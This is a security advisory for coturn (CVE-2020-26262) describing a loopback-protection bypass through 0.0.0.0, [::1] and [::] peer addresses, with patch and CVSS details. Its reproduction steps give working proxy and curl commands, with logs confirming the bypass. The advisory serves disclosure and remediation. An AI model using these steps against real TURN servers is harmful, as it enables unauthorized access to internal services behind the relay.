Loopback bypass by using 0.0.0.0, [::1] or [::] as the peer address

High **misi** published **GHSA-6g6j-r9rf-cm7p** on Jan 11, 2021

Package

No package listed

Affected versions

<4.5.2

Patched versions

4.5.2

Description

Description

By default coturn does not allow peers to connect and relay packets to loopback addresses in the range of `127.x.x.x`. However, it was observed that when sending a `CONNECT` request with the `XOR-PEER-ADDRESS` value of `0.0.0.0`, a successful response was received and subsequently, `CONNECTIONBIND` also received a successful response. Coturn then is able to relay packets to the loopback interface.

Additionally, when coturn is listening on IPv6, which is default, the loopback interface can also be reached by making use of either `[::1]` or `[::]` as the peer address.

Impact

By using the address `0.0.0.0` as the peer address, a malicious user will be able to relay packets to the loopback interface, unless `--denied-peer-ip=0.0.0.0` (or similar) has been specified. Since the default configuration implies that loopback peers are not allowed, coturn administrators may choose to not set the `denied-peer-ip` setting.

How we reproduced the issue

1. Run coturn using the following command:

```
turnserver -v --user=username1:password1
```

2. Run our internal tool `stunner`, acting as a socks5 proxy which uses TURN.

```
stunner turn peer proxy socks5 tcp://172.17.0.2:3478 \
    --local-bind 0.0.0.0:9999 -u username1:password1
```

3. Run a cURL command to connect to `127.0.0.1:80`.

```
curl -x socks5h://127.0.0.1:9999 http://127.0.0.1
```

4. The following log was observed, confirming that 127.0.0.1 is being blocked:

```
725: IPv4. tcp or tls connected to: 172.17.0.1:36504
725: session 011000000000000001: realm <172.17.0.2> user <>:
    incoming packet message processed, error 401: Unauthorized
725: IPv4. Local relay addr: 172.17.0.2:51705
725: session 011000000000000001: new, realm=<172.17.0.2>, username=<username1>,
    lifetime=600
725: session 011000000000000001: realm <172.17.0.2> user <username1>:
    incoming packet ALLOCATE processed, success
725: session 011000000000000001: realm <172.17.0.2> user <username1>:
    incoming packet CONNECT processed, error 403: Forbidden IP
725: session 011000000000000001: realm <172.17.0.2> user <username1>:
    incoming packet message processed, error 403: Forbidden IP
```

5. Run a cURL command to connect to `0.0.0.0:80`.

```
curl -x socks5h://127.0.0.1:9999 http://0.0.0.0
```

6. The following log was observed, confirming that the loopback protection has been bypassed:

```
1010: IPv4. tcp or tls connected to: 172.17.0.1:37240
1010: session 005000000000000001: realm <172.17.0.2> user <>:
    incoming packet message processed, error 401: Unauthorized
1010: IPv4. Local relay addr: 172.17.0.2:62504
1010: session 005000000000000001: new, realm=<172.17.0.2>,
    username=<username1>, lifetime=600
1010: session 005000000000000001: realm <172.17.0.2> user <username1>:
    incoming packet ALLOCATE processed, success
1010: session 005000000000000001: realm <172.17.0.2> user <username1>:
    incoming packet CONNECT processed, success
1010: IPv4. tcp or tls connected to: 172.17.0.1:37242
1010: session 000000000000000001: client socket to be closed in client handler
1010: session 000000000000000001: usage: realm=<172.17.0.2>, username=<>
1010: session 005000000000000001: realm <172.17.0.2> user <username1>:
    incoming packet CONNECTION_BIND processed, success
1010: session 000000000000000001: peer usage: realm=<172.17.0.2>
1010: session 000000000000000001: closed (2nd stage), user <>
```

```
realm <172.17.0.2> origin <>, local 172.17.0.2:3478,
remote 172.17.0.1:37242, reason: general
```

The 5th step could be repeated with the URL of `http://[::1]` and `http://[::]` where a similar behaviour can be observed of bypassing the default protection against loopback connections.

Workarounds: Solution and recommendations

The addresses in the address block `0.0.0.0/8`, `[::1]` and `[::]` should be denied by default unless `--allow-loopback-peers` has been specified.

Patches

The issue patched in version 4.5.2.
Users should upgrade to 4.5.2.

CVSS 3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

CWE

- IPv6 loopback [::1] is not matched correctly. Wrongly the 8-th byte matched for 1 not the correct 16-th.
  https://cwe.mitre.org/data/definitions/682.html
- All zero IP was allowed as peer IP by default
  https://cwe.mitre.org/data/definitions/441.html

Credits: About Enable Security

Enable Security develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack.

For more information

If you have any questions or comments about this advisory:

- Open an issue in coturn

Severity

High

CVE ID

CVE-2020-26262

Weaknesses

No CWEs

Credits

sandrogauci

alfredfarrugia